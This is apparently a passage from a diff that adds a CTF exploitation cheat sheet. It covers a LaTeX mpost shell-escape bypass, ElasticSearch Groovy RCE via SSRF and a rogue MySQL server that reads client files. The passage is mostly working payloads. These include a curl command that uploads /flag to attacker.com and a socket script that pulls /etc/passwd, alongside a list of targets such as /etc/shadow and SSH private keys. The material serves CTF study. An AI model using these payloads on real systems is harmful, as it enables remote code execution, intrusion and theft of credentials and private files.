+ \immediate\write18{mpost -ini "-tex=bash -c (cat${IFS}/flag)>out.log" "test.mp"}
433
+
434
+ % Read the output back into the PDF
435
+ \input{out.log}
436
+ ```
437
+
438
+ **Key insight:** `mpost` is whitelisted by restricted `write18` because it's needed for MetaPost diagrams. But its `-tex` flag allows specifying an arbitrary program as the "TeX processor," including `bash`. This transforms a restricted shell escape into full RCE. `${IFS}` replaces spaces to work within the quoted argument.
439
+
440
+ ---
441
+
442
+ ## ElasticSearch Groovy script_fields RCE via SSRF (VolgaCTF 2017)
443
+
444
+ **Pattern:** When SSRF reaches an internal ElasticSearch instance (default port 9200), Groovy scripting in `script_fields` enables remote code execution. ElasticSearch versions before 5.0 allowed inline Groovy scripts by default.
445
+
446
+ ```bash
447
+ # SSRF payload to ElasticSearch internal API
448
+ curl 'http://localhost:9200/_search' -d '{
449
+ "script_fields": {
450
+ "exec": {
451
+ "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"
452
+ }
453
+ }
454
+ }'
455
+
456
+ # Read a specific file
457
+ curl 'http://localhost:9200/_search' -d '{
458
+ "script_fields": {
459
+ "read": {
460
+ "script": "new java.io.File(\"/flag.txt\").text"
461
+ }
462
+ }
463
+ }'
464
+
465
+ # For blind RCE, exfiltrate via curl upload
466
+ curl 'http://localhost:9200/_search' -d '{
467
+ "script_fields": {
468
+ "exfil": {
469
+ "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"curl --upload-file /flag attacker.com:4042\").getText()"
470
+ }
471
+ }
472
+ }'
473
+ ```
474
+
475
+ **Via SSRF (URL-encoded for GET parameter):**
476
+ ```python
477
+ import requests
478
+ import urllib.parse
479
+
480
+ es_payload = '{"script_fields":{"exec":{"script":"new java.io.File(\\"/flag.txt\\").text"}}}'
481
+ ssrf_url = f"http://localhost:9200/_search?source={urllib.parse.quote(es_payload)}&source_content_type=application/json"
482
+
483
+ # Through SSRF endpoint
484
+ r = requests.get(f"http://target/fetch?url={urllib.parse.quote(ssrf_url)}")
485
+ print(r.text)
486
+ ```
487
+
488
+ **Detection:** SSRF vulnerability + internal service on port 9200. Confirm with `http://localhost:9200/` (returns ES version info) or `http://localhost:9200/_cat/indices` (lists indices).
489
+
490
+ **Key insight:** ElasticSearch pre-5.0 exposed Groovy scripting via the `_search` API. Even without direct access, SSRF to port 9200 enables full RCE through `script_fields`. Modern ES versions disabled inline scripting by default. When testing SSRF, always probe port 9200 -- ElasticSearch is a common internal service with powerful script execution capabilities.
491
+
492
+ ---
493
+
494
+ ### Rogue MySQL Server LOAD DATA LOCAL File Read (VolgaCTF 2018)
495
+
496
+ **Pattern:** When a service connects to your controlled MySQL server with `LOAD DATA LOCAL` enabled, send a rogue response requesting arbitrary file reads from the client machine. The MySQL protocol allows the server to request the client to send any local file during the `LOAD DATA LOCAL INFILE` handshake, regardless of what query the client intended to execute.
497
+
498
+ **How it works:**
499
+ 1. Victim application connects to attacker-controlled MySQL server (e.g., via SSRF or misconfigured DB host)
500
+ 2. Attacker server completes the handshake normally
501
+ 3. When the client sends any query, the rogue server responds with a file transfer request packet
502
+ 4. The client reads the requested local file and sends its contents to the server
503
+
504
+ ```python
505
+ # Rogue MySQL server — simplified core logic
506
+ import socket
507
+
508
+ server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
509
+ server.bind(('0.0.0.0', 3306))
510
+ server.listen(1)
511
+ conn, addr = server.accept()
512
+
513
+ # Send server greeting (MySQL handshake)
514
+ greeting = bytes.fromhex(
515
+ '4a0000000a352e362e32382d' # version 5.6.28
516
+ '307562756e747530' # ubuntu0
517
+ '2e31342e30342e31' # .14.04.1
518
+ '001d000000' # connection id
519
+ '2a5e2a683e6a2b29' # auth plugin data part 1
520
+ '00fff70800' # capability flags
521
+ '210000000000000000000000' # more fields
522
+ '00'
523
+ '282a4e3b3a592635254a2944' # auth plugin data part 2
524
+ '00'
525
+ )
526
+ conn.send(greeting)
527
+
528
+ # Receive client auth response
529
+ conn.recv(4096)
530
+
531
+ # Send OK packet (auth success)
532
+ conn.send(bytes.fromhex('0700000200000002000000'))
533
+
534
+ # Wait for client to send a query
535
+ conn.recv(4096)
536
+
537
+ # Check client capability bit "Can Use LOAD DATA LOCAL: Set"
538
+ # Send rogue file read request for /etc/passwd
539
+ dump_etc_passwd = bytes.fromhex('0c000001fb2f6574632f706173737764')
540
+ conn.send(dump_etc_passwd) # rogue MySQL file read request
541
+
542
+ # Receive file contents from client
543
+ file_data = conn.recv(65535)
544
+ print(f"[+] Received file contents:\n{file_data.decode(errors='replace')}")
545
+
546
+ conn.close()
547
+ ```
548
+
549
+ **Useful files to request:**
550
+ ```text
551
+ /etc/passwd # User enumeration
552
+ /etc/shadow # Password hashes (if client runs as root)
553
+ /proc/self/environ # Environment variables with secrets
554
+ /var/www/html/config.php # Application config with DB credentials
555
+ /home/user/.ssh/id_rsa # SSH private keys
556
+ /flag.txt # CTF flag
557
+ ```
558
+
559
+ **Key insight:** A rogue MySQL server can request the connecting client to send any local file via the LOAD DATA LOCAL protocol, regardless of what query the client intended to execute. This works because the MySQL protocol allows the server to respond to any client query with a file transfer request. Look for challenges where you can control the MySQL host a service connects to (SSRF, config injection, DNS rebinding). The client must have `LOAD DATA LOCAL` enabled (default in many MySQL client libraries).